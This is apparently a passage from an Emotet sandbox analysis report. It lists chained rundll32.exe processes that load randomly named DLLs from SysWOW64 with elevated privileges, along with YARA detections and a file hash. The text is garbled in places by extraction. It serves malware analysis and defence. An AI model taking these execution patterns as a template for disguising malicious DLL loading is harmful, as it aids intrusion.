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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2127194669.0000000000200000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2129920680.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2127180650.00000000001E0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 2976 Parent PID: 912

General

Start time: 08:21:59

Start date: 25/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wkjjpdgip\vecwkaqdb.lyo',#1

Imagebase: 0x6e0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2139440408.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2138274232.00000000001D0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000A.00000002.2138258236.00000000001B0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 2432 Parent PID: 2976

General

Start time: 08:22:04

Start date: 25/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\lvhpdalyytfvzo\hoseqdxogcm

cr.kuc',ItLugIX

Imagebase: 0x6e0000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2152468849.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2151842869.0000000000240000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2151824711.00000000001D0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 1976 Parent PID: 2432

General
Start time: 08:22:09
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\lvhpdalyytfvzo\hoseqdxogcm
cr.kuc' #1
Imagebase: 0x6e0000
File size: 44544 bytes
MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2163049071.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2163022289.00000000001A0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2165761420.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security
Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 2828 Parent PID: 1976

General

Start time: 08:22:15

Start date: 25/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zzarwsk\ykbglw.ztp',|JPmPu

zefT

Imagebase: 0x6e0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2176998214.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2172234783.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2172223948.00000000001D0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 3044 Parent PID: 2828
General
Start time: 08:22:20
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zzarwsk\ykbglw.ztp',#1
0x6e0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2183013093.00000000001E0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2186208381.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2183027063.0000000000200000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 3060 Parent PID: 3044
General
Start time: 08:22:25
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rrhzxvbsppptipx\fklicvcyvx
pinr.seu’,PUIhDyBaYh

0x6e0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2194263784.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2193360956.0000000000190000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000F.00000002.2193376705.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 1204 Parent PID: 3060
General
Start time: 08:22:30
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rrhzxvbsppptipx\fklicvcyvx
pinr.seu' #1

0x6e0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2207154366.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2203773462.0000000000150000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000010.00000002.2203786691.0000000000170000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2124 Parent PID: 1204
General
Start time: 08:22:35
Start date: 25/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pkxgfqngg\heurasgx.kyn',MW
kJrCwEVgm

0x6e0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2214139159.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2219092978.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000011.00000002.2213889778.00000000001D0000.00000040.00000001.sdmp,
Author: Joe Security

Analysis Process: rundll32.exe PID: 2276 Parent PID: 2124

General

Start time: 08:22:39

Start date: 25/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pkxgfgngqg\heurasgx.kyn' #1

Imagebase: 0x6e0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000012.00000002.2343620375.0000000000360000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000012.00000002.2343633692.0000000000380000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

00000012.00000002.2345772809.0000000010000000.00000040.00000001.sdmp,
Author: Joe Security

Disassembly

Code Analysis
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